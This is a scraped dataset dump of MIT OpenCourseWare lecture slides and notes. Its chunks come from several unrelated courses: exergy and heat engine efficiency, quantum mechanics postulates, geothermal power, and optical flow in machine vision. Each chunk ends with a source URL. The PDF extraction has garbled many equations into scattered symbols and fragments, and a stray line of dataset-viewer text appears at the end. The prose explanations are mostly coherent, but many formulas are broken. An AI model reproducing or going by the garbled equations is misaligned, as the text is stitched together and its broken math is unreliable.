1/ 2 ⎞⎞
⎛
X H 2
XO2
ℜT 1
⎜
⎟⎟
⎜ n p + n⎜
⎜
⎟
⎟
2ℑ 2
⎝ X H 2O ⎠⎠
⎝
ηOC
=
w
max
o
ΔHR, H 2O
=
ΔGR, H 2O
ΔHR, H 2O
o
Ideal thermomechanical vs. electrochemical systems, governing principles and
efficiency, and their integration for maximizing the latter
© by A... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
dt
in
out
dE
dt
= Q! − W! + ∑ m! i (h + ke + pe + ...) − ∑ m! i (h + ke + pe + ...)
E2 − E1 = Q − W + ∑ mi (h + ke + pe + ...) − ∑ mi (h + ke + pe + ...)
out
out
in
in
© by Ahmed F. Ghoniem
6
Second Law: Entropy
Control mass
2
δQ
S2 − S1 = ∫
T
1
K
+ (ΔS)g or S2 − S1 = ∑
k=1
ΔQk
Tk
+ (ΔS)... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
Maximum Work,
Availability and limits on energy conversion:
System (with fixed mass)
(cid:1)Add(cid:2) the first and second laws
For a system with heat transfer at fixed temperatures
⎛
⎞
To
⎜1−
Wuse = QH ⎜
⎟ + Ξ1 − Ξ2 − Iir.
⎟
TH ⎠
⎝
system availability is:
Ξ = (E − Uo ) + po (∀ − ∀o ) − To (S − So ).
Chan... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
dΞcv − po∀!
⎠⎟ Q!i − ⎛
⎝⎜
TERs ⎝⎜
dt
Ti
+∑ m! iξi − ∑ m! iξi − I!ir
out
"ξ = (h − ho ) − To (s − so )
in
⎞
⎠⎟
cv
(flow exergy/availability per unit mass)
"h = h + ke + pe
for an ideal gas, fixed cp
Δh = cp (T2 − T1),
Δs = cpℓn
⎛ T2 ⎞
⎝⎜ T1
⎠⎟ − ℜℓn
⎛ p2 ⎞
⎝⎜ p1 ⎠⎟
© by Ahmed F. Ghoniem
11
... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
kPa. The process does not
involve any work transfer. An inventor claims to have designed a device that
generates work of 10 kJ/kg of water while maintaining the same inlet and
outlet conditions of the throttle and exchanging heat with the environment at
25oC. Is this claim feasible?
© Department of Mechanical Engi... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
:
w = (h1 − T s1 ) − (h2 − T s2 ) = T (s2 − s1 ) = 8.417 kJ / kg
max
o
o
o
work output claimed by the inventor is higher than maximum value, not possible.
14
Using exergy analysis to determine the
performance of a syste... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
3, (W
)exitstream = ξ4 −ξ1,
(W
state 1 taken as reference
max
max
)
compr
Heat Exchanger
Compressor
Turbine
Net Work
Air out at 4
Enthalpy change
(kJ/kg)
h3 − h2 =794.8
Wc =510.4
Wt =785.8
(h3 − h4 ) − (h2 − h1 )=275.4
h4 − h1 = 519.4
Availability change
(kJ/kg)
ξ3 −ξ2 =589.1
-469.8
841.4
217.5
= ξ... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
3 −ξ4=55.6 kJ/kg
W
m
losses with exit stream = 217.5 kJ/kg
16
Many Heat Engines since …
Gas turbine engines and
turbo jet engine
GEnx Engine 53,000-75,000 pounds thrust r
GEnx Engine 53,000-75,000 pounds thrust r
© Sourc... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
Power Plant Efficiency
Do we have an Energy or an Entropy Crisis?
What have engineers been
doing over the past 200 yeas?
Image courtesy of DOE.
Fuel Cell Handbook, 7th Ed., by EG&G Technical Services, U.D. DOE,
Office of Fossil Energy, NETL, Morgantown, W Va, Nov 2004, p. 8-91.
19
The best heat engine (thermal... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
− H o ) − To (SH − So )
*
ηcar = 1 − n
⎛ TH ⎞
⎝⎜ To ⎠⎟ /
⎛ TH
⎝⎜ To
⎞
− 1
⎠⎟
TH / TL = 6 − 8, ηcar = 70%
*
© by Ahmed F. Ghoniem
21
Carnot Efficiency and Carnot* Efficiency for a range of TH/TL values
)
%
(
y
c
n
e
i
c
i
f
f
E
90%
80%
70%
60%
50%
40%
30%
20%
10%
... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
The flow rate of combustion
the
gases is 2.0 kg/s. A waste heat-recovery system
utilization of the energy in the hot exhausted gases. It consists of a steam generator,
recovery steam generator (HRSG) and a steam turbine. The isentropic
the heat
efficiency of the turbine is 94%, and steam exits the turbine at 40 o... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
availability of the hot gases:
1g = m! 1g [(h1g − h0 g ) − T0(s1g − s0 g )] = 638.1 kW
Maximum Work = Ξ!
GASES = Ξ!
Now we calculate the mass flow rate of turbine water (do not yet know exit conditions of
energy balance between the two streams from the cold side of HRSG to pinch
steam):
point (PP),
m! 1g (h2'g ... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
- h1)
This gives h2 = 3020 kJ/kg.
With h2 =3020 kJ/K and p2= 100 atm, from steam tables, we get T2 = 650.7 K.
Loss of work/irreversibility in HRSG:
0 = ∑
⎛
⎜1−
⎝
⎞
T0
⎟ Q j −W!
!
Tj ⎠
CV + Ξ!
1g − Ξ!
2 g + Ξ!
1 − Ξ!
2 − Ξ!
DESTRUCTION
First two terms are zeros
Irreversibility = !
Ξ DESTRUCTION
= 637.7... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
h3 = 1962 kJ/kg. Using h3 and p3 and T3 = 313 K, from steam tables:
s3=6.307 kJ/kg-K (less than s3sat steam, verifying it is a two-phase flow mixture).
Turbine work rate is 489.5 kW.
But 0 = − !
+ ! − Ξ! − I!
Wturbine Ξin
Change of Availability in the turbine is:
out
w
ΔΞ! = m! ⎡⎣(h2 − h3 ) − T (s2s3 )⎤⎦ =
0.46... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
Heat Engine →
Work (Mechanical)
Heat
Combustion Efficiency →
Thermal Energy
Chemical Energy
Reforming Efficiency →
Chemical Energy Out
Chemical Energy In
Fuel Utilization Efficiency of a combustion engine →
Power (Mechanical)
Rate of Chemical Energy in
© by Ahmed F. Ghoniem
29
In heating and co... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
! H 2 ΔH r,H 2
Ρ in
is the energy (thermal) gained by
ΔH r,H 2
converting a unit mass of hydrogen to water
© by Ahmed F. Ghoniem
32
WTW or LCA requires knowledge of process efficiency
and overall integration of processes and systems …
© Source unknown. All rights reserved. T... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
MIT OpenCourseWare
https://ocw.mit.edu/
2.60J Fundamentals of Advanced Energy Conversion
Spring 2020
For information about citing these materials or our Terms of Use, visit: https://ocw.mit.edu/terms. | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
MIT OpenCourseWare
http://ocw.mit.edu
3.23 Electrical, Optical, and Magnetic Properties of Materials
Fall 2007
For information about citing these materials or our Terms of Use, visit: http://ocw.mit.edu/terms.
3.23 Fall 2007 – Lecture 3
CURIOSITY KILLED
THE CAT
3.23 Electronic, Optical and Magnetic Properties of M... | https://ocw.mit.edu/courses/3-23-electrical-optical-and-magnetic-properties-of-materials-fall-2007/55087bf9ce2a0c80c588e7f10200d687_clean3.pdf |
, Optical and Magnetic Properties of Materials - Nicola Marzari (MIT, Fall 2007)
Second Postulate
• For every physical observable there is a
corresponding Hermitian operator
3.23 Electronic, Optical and Magnetic Properties of Materials - Nicola Marzari (MIT, Fall 2007)
From classical mechanics to
operators
• Total ... | https://ocw.mit.edu/courses/3-23-electrical-optical-and-magnetic-properties-of-materials-fall-2007/55087bf9ce2a0c80c588e7f10200d687_clean3.pdf |
Properties of Materials ‐ Nicola Marzari (MIT, Fall 2007)
The set of eigenfunctions of a
Hermitian operator is complete
Figure by MIT OpenCourseWare.
3.012 Fundamentals of Materials Science: Bonding - Nicola Marzari (MIT, Fall 2005)
The set of eigenfunctions of a
Hermitian operator is complete
Figure by MIT OpenCou... | https://ocw.mit.edu/courses/3-23-electrical-optical-and-magnetic-properties-of-materials-fall-2007/55087bf9ce2a0c80c588e7f10200d687_clean3.pdf |
∫
(cid:71)
)(
r
−
⎡
⎢
⎣
2
(cid:61)
2
m
2
+∇
(cid:71)
)(
rV
(cid:71)
(cid:71)
)(
Erdr
i
=
⎤
ψ
⎥
i
⎦
3.23 Electronic, Optical and Magnetic Properties of Materials - Nicola Marzari (MIT, Fall 2007)
Commuting Hermitian operators have a
set of common eigenfunctions
3.23 Electronic, Optical and Magnetic Properties of M... | https://ocw.mit.edu/courses/3-23-electrical-optical-and-magnetic-properties-of-materials-fall-2007/55087bf9ce2a0c80c588e7f10200d687_clean3.pdf |
see “Double Slit Experiment.” in Visual Quantum Mechanics.
3.23 Electronic, Optical and Magnetic Properties of Materials - Nicola Marzari (MIT, Fall 2007)
Deterministic vs. stochastic
• Classical, macroscopic objects: we have well-
defined values for all dynamical variables at
every instant (position, momentum, kinet... | https://ocw.mit.edu/courses/3-23-electrical-optical-and-magnetic-properties-of-materials-fall-2007/55087bf9ce2a0c80c588e7f10200d687_clean3.pdf |
Lecture# 18
Geothermal Energy
Ahmed F. Ghoniem
April 8, 2020
Material in this lecture is based on Prof J Tester’s (previously at MIT and
currently at Cornell) lecture on the same subject.
1
Geothermal energy resources
• Hydrothermal: liquid and
superheated water
• Hydrothermal: Vapo... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/55352bc251382fdf4a199dcc50ef4b12_MIT2_60s20_lec18.pdf |
• Dispatchable: high capacity factor (90%) suitable for base load, no need for
storage
• Clean energy, low emission, low footprint
• Uses of-the-shelve power plant equipment
• Cost competitive especially for high grade hydrothermal systems
• BUT EGS require deep drilling
4
... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/55352bc251382fdf4a199dcc50ef4b12_MIT2_60s20_lec18.pdf |
is excluded from our Creative Commons
license. For more information, see https://ocw.mit.edu/fairuse.
© Source unknown. All rights reserved. This content is excluded from our Creative
Commons license. For more information, see https://ocw.mit.edu/fairuse.
Larderello started producing on 1904
…. Still going strong!... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/55352bc251382fdf4a199dcc50ef4b12_MIT2_60s20_lec18.pdf |
power
for both developed
developing countries
and
Condensers
and cooling towers, The Geysers, being fitted
with direct contact
condensers
developed at NREL
Image courtesy of NREL.
© Source unknown. All rights reserved. This content is
excluded from our Creative Commons license. For
more information, see htt... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/55352bc251382fdf4a199dcc50ef4b12_MIT2_60s20_lec18.pdf |
Renewable sources (low to very low T for solar and geothermal):
Ammonia: pc=11.63 MPa, Tc=132 C.
Propane: pc = 4.26 MPa, Tc = 97 C
Isobutane, Freon
© Ahmed F. Ghoniem
15
Max T is low, and Supercritical Cycles
must be used to improve efficiency
• Availability of working fluid increases sharply when hea... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/55352bc251382fdf4a199dcc50ef4b12_MIT2_60s20_lec18.pdf |
102.03
R152a 66.05
R245fa 134.05
R290
44.10
R600
58.12
27.8
26.1
-24
15.3
42.10
-0.5
183.7
101
113.3
154.05
96.68
152
3.668
4.059
4.520
3.640
4.247
3.796
1.3
14
1.4
7.6
0.041
0.018
0.020
0
0
0
0
0
77
1430
124
950
∼ 20
∼ 20
!
(left) The T-s diagram of an ORC using a fluid with... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/55352bc251382fdf4a199dcc50ef4b12_MIT2_60s20_lec18.pdf |
Example 9.1
• Hybrid plant: single flash to separate
the geo-fluid into steam and liquid.
• A steam turbine extracts work from the
steam.
• A binary cycle (iso-butane) heated by
the liquid produces more work.
See solution.
Efficiency of steam by itself is 7.6%
Efficiency of hybrid plant is 10.6%
20
... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/55352bc251382fdf4a199dcc50ef4b12_MIT2_60s20_lec18.pdf |
.edu/fairuse.
25 © IEA. All rights reserved. This content is excluded from our
Creative Commons license. For more information, see
https://ocw.mit.edu/fairuse.
Cooper Basin ■
ley■
Sydney
•Actalaide
f;a nberra
•
■ Estobl, hed HFR Geothermal Re ource
!cl umc
17 March 2008 -
Wellhead
at 275 bar, 208°C and ris... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/55352bc251382fdf4a199dcc50ef4b12_MIT2_60s20_lec18.pdf |
://ocw.mit.edu/
2.60J Fundamentals of Advanced Energy Conversion
Spring 2020
For information about citing these materials or our Terms of Use, visit: https://ocw.mit.edu/terms. | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/55352bc251382fdf4a199dcc50ef4b12_MIT2_60s20_lec18.pdf |
6.801/6.866: Machine Vision, Lecture 2
Professor Berthold Horn, Ryan Sander, Tadayuki Yoshitake
MIT Department of Electrical Engineering and Computer Science
Fall 2020
These lecture summaries are designed to be a review of the lecture. Though I do my best to include all main topics from the
lecture, the lectures will ... | https://ocw.mit.edu/courses/6-801-machine-vision-fall-2020/5546a6b8d36a2d997929ba1aeb8c5ed3_MIT6_801F20_lec2.pdf |
0
f
=
V
W
1
(5)
Focus of Expansion (FOE): Point in image space given by (x0, y0). This point is where the 3D motion vector intersects with
the line given by z = f .
Why is FOE useful? If you know FOE, you can derive the direction of motion by drawing a vector from the origin to
FOE.
Additionally, we can rewrite the di... | https://ocw.mit.edu/courses/6-801-machine-vision-fall-2020/5546a6b8d36a2d997929ba1aeb8c5ed3_MIT6_801F20_lec2.pdf |
about these equations is that motion is magnified by the ratio of the distance terms.
Next, we’ll reintroduce the idea of Focus of Expansion, but this time, for the vector form. FOE in the vector form is
given at the point where ˙r = 0:
1
f
˙r =
1
W
˙R
(11)
We can use a dot product/cross product identity to rewrite the ... | https://ocw.mit.edu/courses/6-801-machine-vision-fall-2020/5546a6b8d36a2d997929ba1aeb8c5ed3_MIT6_801F20_lec2.pdf |
1.1.1
1D Case
By taking a linear approximation of the local brightness:
dx
dt
= U =⇒ δx = U δ
δE = Exδx = uExδt
(note here that Ex =
∂E
∂x
)
Dividing each side by δt, we have:
uEx + Et = 0 =⇒ U = −
Ex
Et
= −
∂E
∂t
∂E
∂x
A couple of points about this:
• This 1D result allows us to recover motion from brightness.
(14)
(1... | https://ocw.mit.edu/courses/6-801-machine-vision-fall-2020/5546a6b8d36a2d997929ba1aeb8c5ed3_MIT6_801F20_lec2.pdf |
1.1.2
2D Case
While these results are great, we must remember that images are in 2D, and not 1D. Let’s look at the 2D case. First and
foremost, let’s look at the brightness function, since it now depends on x, y, and t: E(x, y, t). The relevant partial derivatives
here are thus:
• ∂E
∂x - i.e. how the brightness change... | https://ocw.mit.edu/courses/6-801-machine-vision-fall-2020/5546a6b8d36a2d997929ba1aeb8c5ed3_MIT6_801F20_lec2.pdf |
motion.
To build intuition, it is also common to plot in velocity space given by (u, v). For instance, a linear equation in the 2D
world corresponds to a line in velocity space. Rewriting the equation above as a dot product:
uEx + vEy + Et = 0 ↔ (u, v) · (Ex, Ey) = −Et
(23)
Normalizing the equation on the right by the ... | https://ocw.mit.edu/courses/6-801-machine-vision-fall-2020/5546a6b8d36a2d997929ba1aeb8c5ed3_MIT6_801F20_lec2.pdf |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.